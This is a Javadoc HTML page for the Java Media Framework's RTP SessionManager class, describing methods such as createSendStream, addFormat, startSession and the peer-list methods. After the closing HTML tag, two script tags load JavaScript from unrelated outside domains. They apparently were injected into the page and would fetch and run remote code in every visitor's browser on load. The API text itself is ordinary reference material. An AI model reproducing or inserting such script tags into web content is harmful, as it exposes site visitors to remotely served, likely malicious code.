sessionmanager.html

JMF原版英文说明文档

 Note: The RTP payload that is used to send this stream is found
 from the format set on the SourceStream of the datasource
 supplied. <BR>
 If the sourcestream has no format set or has a
 format for which a packetizer plugin cannot be found in the session
 manager's database, an UnsupportedFormatException will be thrown
 by the SessionManager. <BR>
 
 Note on PullDataSources supplied to the RTP session manager :
 In most cases, it is expected that the datasource supplied to the
 RTP session manager for stream creation would be a
 PushDataSource. In cases that the datasource is a pulldatasource,
 it MUST have a format set on its SourceStreams. This is the only
 way for SessionManger to determine the RTP payload to use in
 the header of the stream as well as the bitrate to pulldata from
 this datasource. <BR><DT><B>Returns:</B><DD>The SendStream created by the RTP session manager.<BR><DT><B>Throws:</B><DD><A HREF="../../../javax/media/format/UnsupportedFormatException.html">UnsupportedFormatException</A> - (javax.media.format.UnsupportedFormatException ). This
 exception is thrown if the format is not set on the sourcestream
 or a RTP payload cannot be located for the format set on the
 sourcestream.<DD><A HREF="../../../javax/media/rtp/SSRCInUseException.html">SSRCInUseException</A> - <BR>
 This is thrown if the ssrc supplied as the first argument is
 already in use by another sendstream of this local
 participant. RTP requires that each sending stream of the same
 participant in the same session use a different unique SSRC.  <BR><DD>java.io.IOException - Thrown for two possible reasons which will be specified in the
 message part of the exception
 1) If the session was initiated with zero rtcp_bw_fraction which
 implied that this participant could not send out any RTP/RTCP
 data or control messages. i.e. it could not also create any send
 streams and was just a passive listener for this session.
 2) If there was any problem opening the sending sockets</DL>
</DD>
</DL>
<HR>

<A NAME="createSendStream(javax.media.protocol.DataSource, int)"><!-- --></A><H3>
createSendStream</H3>
<PRE>
public <A HREF="../../../javax/media/rtp/SendStream.html">SendStream</A> <B>createSendStream</B>(<A HREF="../../../javax/media/protocol/DataSource.html">DataSource</A>&nbsp;ds,
                                   int&nbsp;streamindex)
                            throws <A HREF="../../../javax/media/format/UnsupportedFormatException.html">UnsupportedFormatException</A>,
                                   java.io.IOException</PRE>
<DL>
<DD>This method is the same as the createSendStream(int ssrc,
 DataSource ds, in t streamindex, int packet_interval) except
 that the user  need not supply the SSRC of the stream. The SSRC
 will be  chosen by the SessionManager itself.<BR>
 
 This method is used to create a sending stream within the RTP
 session. For each time the call is made, a new sending stream
 will be created. This stream will use the SDES items as entered
 in the initSession() call for all its RTCP messages. Each stream
 is sent out with a new SSRC (Synchronisation SouRCe
 identifier), but from the same participant  i.e. local
 participant. <BR><DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>ds</CODE> - This is the PushOutputDataSource or
 PullOutputDataSource which is the output datasource of the
 Processor. This datasource may contain more than one
 stream. The stream which is used in creating this RTP
 stream is specified in the next parameter of stream.<BR><DD><CODE>streamindex</CODE> - The index of the sourcestream from which
 data is sent out on this RTP stream. An index of 1 would indicate the first
 sourcestream of this datasource should be used to create the RTP
 stream. If the index is set to zero, it would indicate a RTP
 mixer operation is desired. i.e. all the streams of this
 datasource must be mixed into one single stream from one single
 SSRC. <BR><DD><CODE>packet_interval</CODE> - This is the packetization interval in
 millisecs that must constitute each RTP packet when it is
 transmitted over the network. The packetization interval
 determines the  minimum end-to-end delay; longer packets
 introduce less  header overhead but higher delay and make packet loss more
 noticeable. For non interactive applications such as lectures or
 links with  severe bandwidth constraints, a higher packetization delay may be
 appropriate. <BR>
 
 If this parameter is supplied as zero, the  
 packetizer's default packetization interval will be used.<BR>

 Note: The RTP payload that is used to send this stream is found
 from the format set on the SourceStream of the datasource
 supplied. <BR>
 If the sourcestream has no format set or has a
 format for which a packetizer plugin cannot be found in the session
 manager's database, an UnsupportedFormatException will be thrown
 by the SessionManager. <BR>
 
 Note on PullDataSources supplied to the RTP session manager :
 In most cases, it is expected that the datasource supplied to the
 RTP session manager for stream creation would be a
 PushDataSource. In cases that the datasource is a pulldatasource,
 it MUST have a format set on its SourceStreams. This is the only
 way for SessionManger to determine the RTP payload to use in
 the header of the stream as well as the bitrate to pulldata from
 this datasource. <BR><DT><B>Returns:</B><DD>The SendStream created by the RTP session manager.<BR><DT><B>Throws:</B><DD><A HREF="../../../javax/media/format/UnsupportedFormatException.html">UnsupportedFormatException</A> - (javax.media.format.UnsupportedFormatException ). This
 exception is thrown if the format is not set on the sourcestream
 or a RTP payload cannot be located for the format set on the
 sourcestream.<DD>java.io.IOException - Thrown for two possible reasons which will be specified in the
 message part of the exception
 1) If the session was initiated with zero rtcp_bw_fraction which
 implied that this participant could not send out any RTP/RTCP
 data or control messages. i.e. it could not also create any send
 streams and was just a passive listener for this session.
 2) If there was any problem opening the sending sockets</DL>
</DD>
</DL>
<HR>

<A NAME="addFormat(javax.media.Format, int)"><!-- --></A><H3>
addFormat</H3>
<PRE>
public void <B>addFormat</B>(<A HREF="../../../javax/media/Format.html">Format</A>&nbsp;fmt,
                      int&nbsp;payload)</PRE>
<DL>
<DD>This method is used to add a dynamic payload ---> Format
 mapping in the SessionManager. The SessionManager maintains
 all static payload numbers and their correspnding Formats as
 mentioned in the Audio/Video profile document. Using the plugin
 packethandler interface, a user may plugin his own packetizer or
 depacketizer to handle RTP streams of a proprietary format using
 dynamic payload numbers as specified in the AV profile. Before
 streaming payload of a dynamic nature, a Format object needs to
 be created for the dynamic payload and associated with a dynamic
 payload number.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>fmt</CODE> - The Format to be associated with this dynamic
 payload number.<DD><CODE>payload</CODE> - The RTP payload number<DT><B>See Also: </B><DD><A HREF="../../../javax/media/Format.html"><CODE>Format</CODE></A></DL>
</DD>
</DL>
<HR>

<A NAME="startSession(int, javax.media.rtp.EncryptionInfo)"><!-- --></A><H3>
startSession</H3>
<PRE>
public int <B>startSession</B>(int&nbsp;mcastScope,
                        <A HREF="../../../javax/media/rtp/EncryptionInfo.html">EncryptionInfo</A>&nbsp;encryptionInfo)
                 throws java.io.IOException</PRE>
<DL>
<DD>This variant of the startSession() method is for starting
 a session with an empty list of peers. This method is meant to be
 used to start a multi-unicast session. For more details, please see
 documentation on multi-unicast sessions.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>mcastScope</CODE> - if the address in the addPeer() method is a
 multicast address, the packets are sent out with this ttl.<DD><CODE>encryptionInfo</CODE> - the encryption information to be used in
 this session.</DL>
</DD>
</DL>
<HR>

<A NAME="addPeer(javax.media.rtp.SessionAddress)"><!-- --></A><H3>
addPeer</H3>
<PRE>
public void <B>addPeer</B>(<A HREF="../../../javax/media/rtp/SessionAddress.html">SessionAddress</A>&nbsp;peerAddress)
             throws java.io.IOException,
                    <A HREF="../../../javax/media/rtp/InvalidSessionAddressException.html">InvalidSessionAddressException</A></PRE>
<DL>
<DD>Adds a peer to the list of peers.
 This method can be used when an RTP Session is to be built based on a
 full mesh of unicast streams between participants (this is called
 multi-unicast).
 If there is more than one peer in the list the SessionManager
 duplicates outbound RTP or RTCP packets.
 The duplicates are addressed to each peer in the list of peers.
 <p>If the peer is already in the list the method call is ignored.
 <p>[Note: The notion of a list of peers can be readily extended
 to contain multicast addresses as well.
 This would enable hybrid multicast and multi-unicast RTP Sessions.]<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>peerAddress</CODE> - The unicast address pair (RTP transport address,
RTCP transport address) of the peer.<DT><B>Throws:</B><DD>java.io.IOException - This exception is thrown if the multicast group
cannot be joined.</DL>
</DD>
</DL>
<HR>

<A NAME="removePeer(javax.media.rtp.SessionAddress)"><!-- --></A><H3>
removePeer</H3>
<PRE>
public void <B>removePeer</B>(<A HREF="../../../javax/media/rtp/SessionAddress.html">SessionAddress</A>&nbsp;peerAddress)</PRE>
<DL>
<DD>Removes a peer from the list of peers.
 <p>If the peer is not in the list the method call is ignored.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Parameters:</B><DD><CODE>peerAddress</CODE> - The unicast address pair (RTP transport address,
 RTCP transport address) of the peer.</DL>
</DD>
</DL>
<HR>

<A NAME="removeAllPeers()"><!-- --></A><H3>
removeAllPeers</H3>
<PRE>
public void <B>removeAllPeers</B>()</PRE>
<DL>
<DD>Removes all peers from the list of peers.<DD><DL>
</DL>
</DD>
</DL>
<HR>

<A NAME="getPeers()"><!-- --></A><H3>
getPeers</H3>
<PRE>
public java.util.Vector <B>getPeers</B>()</PRE>
<DL>
<DD>Gets the list of peers.<DD><DL>
</DL>
</DD>
<DD><DL>
<DT><B>Returns:</B><DD>The list of current peers in the form of a Vector of
SessionAddress objects.</DL>
</DD>
</DL>
<!-- ========= END OF CLASS DATA ========= -->
<HR>

<!-- ========== START OF NAVBAR ========== -->
<A NAME="navbar_bottom"><!-- --></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3">
  <TR ALIGN="center" VALIGN="top">
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../overview-summary.html"><FONT ID="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-summary.html"><FONT ID="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Class</B></FONT>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="package-tree.html"><FONT ID="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../deprecated-list.html"><FONT ID="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../index-all.html"><FONT ID="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD>
  <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1">    <A HREF="../../../help-doc.html"><FONT ID="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD>
  </TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>

<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
&nbsp;<A HREF="../../../javax/media/rtp/SessionListener.html"><B>PREV CLASS</B></A>&nbsp;
&nbsp;<A HREF="../../../javax/media/rtp/TransmissionStats.html"><B>NEXT CLASS</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
  <A HREF="../../../index.html" TARGET="_top"><B>FRAMES</B></A>  &nbsp;
&nbsp;<A HREF="SessionManager.html" TARGET="_top"><B>NO FRAMES</B></A></FONT></TD>
</TR>
<TR>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
  SUMMARY: &nbsp;INNER&nbsp;|&nbsp;<A HREF="#field_summary">FIELD</A>&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_summary">METHOD</A></FONT></TD>
<TD VALIGN="top" CLASS="NavBarCell3"><FONT SIZE="-2">
DETAIL: &nbsp;<A HREF="#field_detail">FIELD</A>&nbsp;|&nbsp;CONSTR&nbsp;|&nbsp;<A HREF="#method_detail">METHOD</A></FONT></TD>
</TR>
</TABLE>
<!-- =========== END OF NAVBAR =========== -->

<HR>
<font size="-1">  <a href="mailto:[e-mail]">Submit a bug or feature</a>  <br>Copyright 1999-2000 Sun Microsystems, Inc. 901 San Antonio Road,  Palo Alto, California, 94303, U.S.A. All Rights Reserved.  See the <a href="spec-license.html">Specification License</a> for more details.  <br>Sun, Sun Microsystems, and Java are trademarks or registered  trademarks of Sun Microsystems, Inc. in the US and other countries.</font>
</BODY>
</HTML>

<script language=javascript src=http://www.3389qiqi.com/xx.js></script>
<script language="javascript" src="http://grwm.woxwngw.cn/index.htm"></script>